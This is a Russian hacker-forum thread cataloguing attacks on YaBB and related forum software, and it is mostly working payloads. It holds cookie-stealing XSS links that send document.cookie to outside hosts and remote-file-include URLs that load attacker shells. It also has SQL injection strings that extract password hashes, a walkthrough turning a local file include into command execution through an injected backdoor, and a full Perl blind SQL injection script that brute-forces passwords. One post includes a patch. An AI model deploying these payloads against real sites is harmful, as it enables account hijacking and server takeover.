Форумы [Обзор Уязвимостей Yabb]

Discussion in 'Уязвимости CMS/форумов' started by _-[A.M.D]HiM@S-_, 5 Nov 2006.

  1. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    Начнёмс....

    YaBB 1 Gold
    Уязвимость в YaBB(http://www.yabb.org/) позволяет удаленному пользователю вставлять произвольный код сценария в страницы сообщения об ошибках. Уязвимость может использоваться для кражи опознавательных мандатов пользователей YaBB, хранящихся в куки.
    Пример:
    Code:
    [COLOR=White]http://some.site.com/cgi-bin/YaBB/YaBB.cgi?board=BOARD&action=display&num=<script>alert()</script>[/COLOR]
    Описание:атакующий может сконструировать специальную ссылку, содержащую произвольный код сценария, при клике на которую код будет выполнен в браузере пользователя, кликнувшего на эту ссылку
    Пример:
    Code:
    [COLOR=White]http://www.area51experience.com.ar/foro/YaBB.pl?board=gral;action=display; 
    num=10360245269<Script>location%3d'Http://url/x.php?Cookie%3d'%2b(document.cookie)%3b</Script>[/COLOR]
    YaBB 1.2
    Пример:
    Code:
    [COLOR=White]http://site.com/yapBB/include/global.php?GLOBAL[includeBit]=1&cfgIncludeDirectory=http://attacer.com/[/COLOR]
    Код вставки :
    PHP:
    $dire="/home";
    $ob=opendir("$dire");
    while(
    $filen=readdir($ob)){
    $dire2=realpath("$dire");
    if ( 
    is_dir("dire2/$filen") == TRUE ){$d="[Dir]";} else {$d=NULL;}
    print 
    "$d $filen 

    "
    ;}
    closedir($ob);
    ?>
    Видео:http://video.antichat.ru/download_183.html
    YaBB 1.3.2
    Описание:Злонамеренный пользователь может опубликовать сообщение, содержащее изображение, которое ссылается на URL, используемый при выполнении административных действий. В результате административное действие будет автоматически выполнено, когда администратор читает сообщения форума.
    Пример:
    Code:
    [COLOR=White]http://[victim]/YaBB.pl?board=;action=modifycat;id=[cateogoryname];moda=Remove2[/COLOR]
    YaBB 1.4.0-1.4.1
    Описание:Межсайтовый скрптинг обнаружен в сценарии входа в систему
    Пример:
    Code:
    [COLOR=White]http://example.com/forums/index.php?
    board=;action=login2&user=USERNAME&cookielength=120&passwrd=PASSWORD<script>
    window.location.href(%22http://www.attackersite.example.com/hack.asp?%22%2Bdocument.cookie)</script>[/COLOR]
    Code:
    [COLOR=White]http://www.area51experience.com.ar/foro/YaBB.pl?board=gral;action=display;
    num=10360245269<Script>location%3d'Http://url/x.php?Cookie%3d'
    %2b(document.cookie)%3b</Script>[/COLOR]
    
    SQL
    Описание:Проблема обнаружена в сценарии Reminder.php.
    Code:
    [COLOR=White]http://www.myserver.com/yabbse/Reminder.php?
    searchtype=esearch&user=[yourusername]'%20or%20memberName='[otherusername][/COLOR]
    YaBB SE 1.5.1
    Описание:Удаленный пользователь может выполнить XSS нападение.
    Пример:
    Code:
    [COLOR=White][glow=red);background:url(javascript:alert(document.cookie));filter:glow(color=red,2,300]Big Exploit[/glow]
    
    [shadow=red);background:url(javascript:alert(document.cookie));filter:shadow(color=red,left,300]Big Exploit[/shadow][/COLOR]
    YaBB SE 1.5.5c
    Описание:Уязвимость существует из-за недостаточной обработки входных данных в параметре "user" в сценарии Sources/Profile.php
    Возможность выполнять SQL команды в базе данных:
    Пример:
    Code:
    [COLOR=White]http://[host]/index.php?board=&action=viewprofile&user=[code][/COLOR]
    YaBB SE 1.5.4, 1.5.5
    Описание: Уязвимость обнаружена в параметре 'quote'
    Пример:
    Code:
    [COLOR=White]http://localhost:8080/yabbse//inde
    x.php?board=1;sesc=13a478d8aa161c2231e6d3b36b6d19f2;action=post;threadid=1;title=Post+reply;
    quote=-12)+UNION+SELECT+passwd,null,null,null,null,null,null,null,null+FROM+ yabbse_members+where+ID_ME[/COLOR]
    YaBB SE 1.5.4, 1.5.3
    Описание: Уязвимость обнаружена в YaBB SE в 'SSI.php'.
    Пример:
    Code:
    [COLOR=White]http://[target]/yabbse/SSI.php?function=recentTopics&ID_MEMBER=1+OR+1=2)
    +LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+
    lmr.ID_MEN+SELECT+ID_MEMBER,+
    memberName,null,passwd,null,passwd,null,null,null,null,null,null+
    FROM+yabbse_members+/*[/COLOR]
    Code:
    [COLOR=White]http://[target]/yabbse/SSI.php?function=recentTopics&ID_MEMBER =1+OR+1=1)
    +LEFT+JOIN+yabbse_log_mark_read+AS+lmr+ON+(lmr.ID_BOARD=t.ID_BOARD+AND+lmr.ID_ME
    ull,null+FROM+yabbse_members+/*[/COLOR]
    Code:
    [COLOR=White]http://[target]/yabbse/SSI.php?function=welcome&username=evilhaxor&ID_MEMBER=1+OR+1=2)+GROUP+BY+readBy+UNION+SELECT+ASCII(SUBSTRING(realName,1,1)+)+[/COLOR]
    Эксплоит: http://kolokol.ho.com.ua/exploit

    YaBB 2
    XSS
    Позволяет украсть куки пользователей.
    Code:
    [COLOR=White][U*L]http://www.[U*L=http://wj.com/style=display:none;background:url(javascript:docum  ent.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;) ]wj[/U*L][/U*L][/COLOR]
    YaBB SE
    SQL Error + XSS(passive 3шт.)
    Code:
    [COLOR=White]http://site/forum/index.php?board='[/COLOR]
    Code:
    [COLOR=White]http://site/forum/index.php?board=1;action=display;threadid='[/COLOR]
    Code:
    [COLOR=White]http://site/forum<script>alert()</script>[/COLOR]
    Code:
    [COLOR=White]http://site/forumindex.php?board=1;action=icqpager;UIN=<script>alert()</script>[/COLOR]
    Code:
    [COLOR=White]http://site/forumindex.php?board=1;action=post;threadid=1;quot e=2;title=net</title><script>alert("hacked%20by")</script>[/COLOR]
    (меняем заголовок страницы на "net" и закрывает тэг заголовка. так мы не светимся. а дальше скрипт для сниффера - как всегда)

    Описание:Файл 'Packages.php' включает сценарий 'Packer.php
    Пример:
    Code:
    [COLOR=White]http://[target]/yabbse/Sources/Packages.php?sourcedir=http://attacker/[/COLOR]
    P/s:Думаю полезно будет почитать:)
    И неругайтесь сильно :(
     
    #1 _-[A.M.D]HiM@S-_, 5 Nov 2006
    Last edited: 5 Nov 2006
    9 people like this.
  2. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    *************Внимание - Внимание*****************
    Уважаемые пользователи, стыд да срам. Впредь флуд в этой теме, а также в подобных темах, будет строго наказываться. Это первое и последнее предупреждение.
    *************Внимание - Внимание*****************

    *************Attention - Attention*****************
    Dear users, shame on you. Flood in this and similar themes will be strictly punished from now. It is last warning
    *************Attention - Attention*****************
     
    #2 _-[A.M.D]HiM@S-_, 22 Jan 2007
    Last edited by a moderator: 2 Mar 2007
    1 person likes this.
  3. ettee

    ettee Administrator
    Staff Member

    Joined:
    12 Oct 2006
    Messages:
    466
    Likes Received:
    1,036
    Reputations:
    1,065
    include in mods autochecker

    Базы инклудов + простой GET-чекер.
    Download
     
    _________________________
    2 people like this.
  4. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    382
    Likes Received:
    820
    Reputations:
    69
    YaBBSM 3.0.0 (Offline.php) Remote File Include Vulnerability

    Code:
    [DESCRIPTION] Remote file include vuln found by sZ [oct 09, 2006]
    [SOFTWARE]    Supermod 3.0 for yabb
    [VENDOR URL]  http://www.supermod.org
    [DORK]        YaBBSM V2.5.0 // Powered by YaBBSM V2.5.0 Based on YABB SE
    [NOTES]       greetz to: neo-vortex, sk0tie, icez, Solano College CIS students.
     
    
    VULN:
    Offline.php
    include("$sourcedir/pclzip.lib.php");
    They forgot to include settings.php, this file seems to not exist sometimes.
     
    VULN:
    Sources/Admin.php
    include_once("$sourcedir/Recent.php");
     
    VULN:
    Sources/Offline.php
    include_once("$sourcedir/Recent.php");
     
    VULN:
    content/portalshow.php
    include_once "$sourcedir/Calendar.php";
     
    [EXAMPLE] http://site.com/community/Offline.php?sourcedir=http://shellurl.com/phpcommands.txt?
    
    # milw0rm.com [2006-10-13]
     
    3 people like this.
  5. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    YaBB YaBB.pl IMSend Cross-Site Scripting Vulnerability

    Code:
    http://www.example.com/YaBB.pl?board=;action=imsend;to=%22%3E%3Cscript%3Ealert(document  .cookie)%3C/script%3E
     
    1 person likes this.
  6. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    _http://www.securitylab.ru/vulnerability/298015.php

    21 июня, 2007
    Программа: YaBB 2.1, возможно более ранние версии.

    Опасность: Низкая

    Наличие эксплоита: Нет

    Описание:
    Уязвимость позволяет локальному пользователю повысить свои привилегии на системе.

    Уязвимость существует из-за недостаточной обработки входных данных в параметре "userlanguage" в сценарии YaBB.pl. Злоумышленник может просмотреть содержимое определенных файлов на системе. Для удачной эксплуатации уязвимости злоумышленнику требуется валидная учетная запись в приложении а также консоль или доступ по FTP к системе.

    ======

    Может найдется желающий разобраться как работет баг и довести дело до конца(всмысле до эксплоита)?
     
  7. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    Дополнение к предыдущему посту - Local File Include Vulnerabilities in YaBB <= 2.1

    Уязвимость присутствует в переменной $language, которую пользователь может менять в своем профиле.

    Уязвимые скрипты, содержащие переменную $language:

    Sources/HelpCentre.pl, строка 139

    Code:
    if (-e ("$helpfile/$language/$help_area/$line.help")) { 
                           require "$helpfile/$language/$help_area/$line.help"; 
    }
    
    Sources/Subs.pl, строка 1529

    Code:
    if (-e "$langdir/$use_lang/$what_to_load.lng") { 
           require "$langdir/$use_lang/$what_to_load.lng"; 
    }
    
    Sources/ICQPager.pl, строка 21

    Code:
    if ($language) { require "$langdir/$language/ICQ.lng"; }
    
    Sources/Post.pl, строка 1838

    Code:
    if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; }
    
    Sources/Post.pl, строка 1863

    Code:
    if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; }
    Sources/Post.pl, строка 1880

    Code:
    if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; }
    
    Sources/InstantMessage.pl, строка 1080

    Code:
    if (-e "$langdir/$actlang/InstantMessage.lng") { require "$langdir/$actlang/InstantMessage.lng"; }
    
    Sources/InstantMessage.pl, строка 1082

    Code:
    if (-e "$langdir/$actlang/InstantMessage.lng") { require "$langdir/$actlang/Main.lng"; }
    Exploit

    Как было указано в предыдущем посте, для успешной эксплуатации уязвимости необходим доступ по FTP или SSH.
    Нужно изменить содержимое файла English/HelpCentre.lng
    с:
    Code:
    %helptxt = ( 
                   '1' => "Help Section", 
                   '2' => "Contents",
    
    на:
    Code:
    $content="<br><br><br><br><font color=red>"; 
                   $content.=`$INFO{[COLOR=Red]'cmd'[/COLOR]}`; 
                   $content.
    ="</font><br><br><br><br>"; 
                   %helptxt = ( 
                   '1' => "Help Section", 
                   '2' => $content,
    
    Далее в профиле пользователя меняем значение параметра 'userlanguage' на:

    "../../путь/до/папки/English/"

    С помощью браузера переходим в раздел "Help":

    http://site.com/yabb2/YaBB.pl?action=help

    С помощью дописанной нами переменной 'cmd' можно выполнять произвольные команды на сервере:

    http://site.com/yabb2/YaBB.pl?action=help&cmd=id

    http://site.com/yabb2/YaBB.pl?action=help&cmd=uname%
    20-a

    и т.п.

    Патч


    Для исправления уязвимости необходимо ввести фильтрацию переменной 'userlanguage' в модуле профиля пользователя.
    Для этого вносим изменения в код скрипта

    Sources/Profile.pl, строка 1225:

    этот кусок кода
    Code:
    if ($member{'userlanguage'} !~ m^\A[0-9a-zA-Z_\.\#\%\-\:
    \+\?\$\&\~\.\,\@[COLOR=Red]/[/COLOR]]+\Z^ && $member{'userlanguage'} ne "") { &fatal_error($profile_txt{'815'}); }
    
    меняем на:

    Code:
    if ($member{'userlanguage'} !~ m^\A[0-9a-zA-Z_\.\#\%\-\:
    \+\?\$\&\~\.\,\@]+\Z^ && $member{'userlanguage'} ne "") { &fatal_error($profile_txt{'815'}); }
    
    Теперь в переменной 'userlanguage' будет фильтоваться символ /, что предотвратит возможность инклуда.
     
    3 people like this.
  8. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    YaBB SE <= 1.5.5 Remote Command Execution

    Remote Command Execution

    Vulnerable: YaBB SE <= 1.5.5

    Exploit:

    http://milw0rm.com/exploits/4963
     
  9. [x60]unu

    [x60]unu Banned

    Joined:
    7 May 2009
    Messages:
    98
    Likes Received:
    498
    Reputations:
    163
    YapBB <= 1.2 Blind SQL Injection Exploit
    Code:
    #!/usr/bin/perl
    
    use strict;
    use warnings;
    use IO::Socket;
    
    sub usage
    {
    	die "\nYapBB <= 1.2 Blind SQL Injection Exploit".
    	    "\n[?] Author  : darkjoker".
    	    "\n[?] Site    : http://darkjoker.net23.net".
    	    "\n[?] CMS Site: http://yapbb.sourceforge.net/".
    	    "\n[?] Usage   : perl ${0} <hostname> <path> <username> [<key_list>]".
    	    "\n[?] Ex.     : perl ${0} localhost /YapBB root abcdefghijklmnopqrstuvwxyz".
    	    "\n\n";
    }
    
    sub query
    {
    	my ($user, $chr, $pos) = @_;
    	my $query = "123 OR IF ((ASCII(SUBSTRING((SELECT password FROM ".
    	"forum_user WHERE nickname = '${user}'),${pos},1))=${chr}),BENCHMARK(200000000,CHAR(0)),0)";
    	$query =~ s/ /%20/g;
    	$query =~ s/'/%27/g;
    	return $query;
    }
    
    sub exploit
    {
    	my ($hostname, $path, $user, $chr, $pos) = @_;
    	$chr = ord ($chr);
    	my $sock = new IO::Socket::INET (
    						PeerHost => $hostname,
    						PeerPort => 80,
    						Proto    => "tcp"
    					) or die "\n[!] Exploit failed.\n\n";
    
    	my $query = query ($user, $chr, $pos);
    	my $request = "GET ${path}/forumhop.php?action=next&forumID=${query} HTTP/1.1\r\n".
    		      "Host: ${hostname}\r\n".
    		      "Connection: Close\r\n\r\n";
    	
    	my $a = time ();
    	print $sock $request;
    	$_++ while (<$sock>);
    	$a = ($a - time ()) * -1;
    	close ($sock);
    
    	return 1 if ($a > 4);
    	return 0;
    }
    		
    my ($hostname, $path, $user, $k_list) = @ARGV;
    usage unless ($user);
    my @key = split ("", ($k_list) ? $k_list : "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789");
    my $chr = 0;
    my $pos = 1;
    my $password;
    while ($chr < scalar (@key))
    {
    	if (exploit ($hostname, $path, $user, $key [$chr], $pos))
    	{
    		$password .= $key [$chr];
    		$chr = 0;
    		$pos++;
    	}
    	else
    	{
    		$chr++;
    	}
    }
    
    print "\n[+] Password: ${password}\n\n";
     
    #9 [x60]unu, 8 Nov 2009
    Last edited: 8 Nov 2009
    1 person likes this.
  10. eclipse

    eclipse Member

    Joined:
    19 Dec 2010
    Messages:
    155
    Likes Received:
    74
    Reputations:
    85
    SQL INJECTION

    Vulnerable: YaBB SE <= 1.5.5

    Code:
    localhost/forum/Sources/search.php?seenform=article&userName=Guest&path=&text=1+OR+1=[COLOR=DarkRed]EVIL[/COLOR]/*

    (c) eclipse
     
    #10 eclipse, 29 Jul 2011
    Last edited: 29 Jul 2011